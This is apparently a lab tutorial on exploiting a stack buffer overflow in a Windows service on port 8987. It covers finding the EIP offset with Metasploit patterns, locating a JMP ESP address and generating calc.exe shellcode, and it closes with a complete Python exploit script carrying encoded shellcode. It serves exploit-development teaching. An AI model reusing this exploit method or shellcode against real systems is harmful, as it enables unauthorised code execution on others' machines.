Run the binaryfile in CLI and connect to the 8987 port using
ncat or telnet.
Enter any string and press enter.
Now, repeat the above steps and give a large value until the
program crashes as shown below.
Let’s use a debugger to better understand this behavior.
Setting up the debugger:
Install Windbg for windows. After installing windbg, set
windbg as the postmortem debugger using the command below:
The program crashes, debug the program and copy the value in EIP. Calculate the exact length of the buffer using the metasploit script as shown below:
The below table shows the current value in the EBP, EIP and ESP. EIP contains BBBB which is
exactly after 62*junk values.
We now know that we control EIP which means that we would need a space to put our shellcode somewhere and make EIP jump to that location.
Now, it looks like the input was read into the buffer and
caused the buffer to overflow. We have been able to overflow the buffer
and write across the instruction pointer. So we may be able to
control the value of EIP. To find the how big the buffer needs to be in order to start
overwriting EIP we need to determine the offset. This offset is the no. of
bytes that must be filled before we can write our desired value to EIP.
Determining the buffer length:
Using metasploit’s tool we can calculate the required
offset. The tool generates string that will contain unique patterns and using
this pattern we can determine how big the buffer is and thus the offset value.
Generate a pattern of length
100 and enter this as the input.
The program crashes, debug the program and copy the value in EIP. Calculate the exact length of the buffer using the metasploit script as shown below:
The buffer length needed to overwrite EIP is 62. So this
means to overwrite EIP I would need to have 62 junk (A*62) or NOP sleds. After
which I can give the memory location of the instruction I want to execute.
This is how my input should look like, the below arrow points the position from where EIP overwrite begins.
The below table shows the current value in the EBP, EIP and ESP. EIP contains BBBB which is
exactly after 62*junk values.
Register
|
Memory Offset
|
Current value
|
Input
|
EBP
|
0012FDA8
|
41414141
|
AAAA
|
EIP
|
0012FDAC
|
42424242
|
BBBB
|
ESP
|
0012FDB0
|
43434343
|
CCCC
|
We now know that we control EIP which means that we would need a space to put our shellcode somewhere and make EIP jump to that location.
Now take a look at the registers and dump all of them using
the command: dump <registername>
In this case, ESP seems to point to C’s (43) which is from
our input. We can see that ESP starts
immediately after the value in EIP (B’s).
Jumping to ESP:
There are two ways to execute the shellcode in ESP, one
method is to simply overwrite EIP with the value of ESP memory location i.e. 0x0012FDB0
(little endian) or a reliable way is to find an instruction that would jump to
ESP i.e. JMP ESP
The below command will search for the opcode JMP ESP i.e. ff
e4
Now, I could use one of these as my value to replace EIP.
When the instruction in 0x77384281 executes it will jump to ESP to execute my
desired code.
Generating the shellcode:
The objective is
to run calc.exe using the shellcode. Using msfpayload with windows as the
target and calc.exe as the program I generated a shellcode. The below screenshot shows
the msfpayload options.
Exploit code and execution:
I wrote a python script that would open a TCP connection and
send my data. The variable buf has the shellcode that we generated above.
#!/usr/bin/env python
import socket
import sys
import struct
TCP_IP = '127.0.0.1'
TCP_PORT = 8987
BUFFER_SIZE = 1048756
junk = "\x90" * 62
esp = struct.pack('<I', 0x77384281) #Little endian format
nops = "\x90" * 5
buf =
""
#buf += "\xcc" #Breakpoint
buf +=
"\xba\x92\xaf\x02\xf3\xdb\xd3\xd9\x74\x24\xf4\x5e\x29"
buf +=
"\xc9\xb1\x33\x31\x56\x12\x83\xc6\x04\x03\xc4\xa1\xe0"
buf +=
"\x06\x14\x55\x6d\xe8\xe4\xa6\x0e\x60\x01\x97\x1c\x16"
buf +=
"\x42\x8a\x90\x5c\x06\x27\x5a\x30\xb2\xbc\x2e\x9d\xb5"
buf +=
"\x75\x84\xfb\xf8\x86\x28\xc4\x56\x44\x2a\xb8\xa4\x99"
buf += "\x8c\x81\x67\xec\xcd\xc6\x95\x1f\x9f\x9f\xd2\xb2\x30"
buf +=
"\xab\xa6\x0e\x30\x7b\xad\x2f\x4a\xfe\x71\xdb\xe0\x01"
buf +=
"\xa1\x74\x7e\x49\x59\xfe\xd8\x6a\x58\xd3\x3a\x56\x13"
buf +=
"\x58\x88\x2c\xa2\x88\xc0\xcd\x95\xf4\x8f\xf3\x1a\xf9"
buf += "\xce\x34\x9c\xe2\xa4\x4e\xdf\x9f\xbe\x94\xa2\x7b\x4a"
buf +=
"\x09\x04\x0f\xec\xe9\xb5\xdc\x6b\x79\xb9\xa9\xf8\x25"
buf +=
"\xdd\x2c\x2c\x5e\xd9\xa5\xd3\xb1\x68\xfd\xf7\x15\x31"
buf +=
"\xa5\x96\x0c\x9f\x08\xa6\x4f\x47\xf4\x02\x1b\x65\xe1"
buf += "\x35\x46\xe3\xf4\xb4\xfc\x4a\xf6\xc6\xfe\xfc\x9f\xf7"
buf +=
"\x75\x93\xd8\x07\x5c\xd0\x19\xf9\x6d\xcc\x8e\xa0\x07"
buf +=
"\xad\xd2\x52\xf2\xf1\xea\xd0\xf7\x89\x08\xc8\x7d\x8c"
buf +=
"\x55\x4e\x6d\xfc\xc6\x3b\x91\x53\xe6\x69\xf2\x32\x74"
buf += "\xf1\xdb\xd1\xfc\x90\x23"
#MESSAGE +=
"\x81\x42\x38\x77" #deprecated
code
#MESSAGE +=
"\x81\x42\x38\x77" #deprecated
code
s = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(junk + esp + nops + buf + nops)
data = s.recv(BUFFER_SIZE)
s.close()
print "received data:", data
|
Run the python script. The program crashes as expected and calc.exe is running in
the background. The exploit code worked successfully!
Points to remember:
- When assigning the value of ESP to a variable, note that it has to be assigned backwards since the addresses are stored little-endian on intel x86. Another way of achieving this is to use “struct.pack”
- Use NOP sled before the shellcode, this will give me flexibility without having to pin-point from where my shellcode starts. Nop sleds will give me a bigger target to return to and if any NOP instructions are hit then (No operation) the program runs until all NOPs. After this the instructions in shellcode will be executed
- Disable DEP in Windows so that the shellcode placed in the stack can be executed.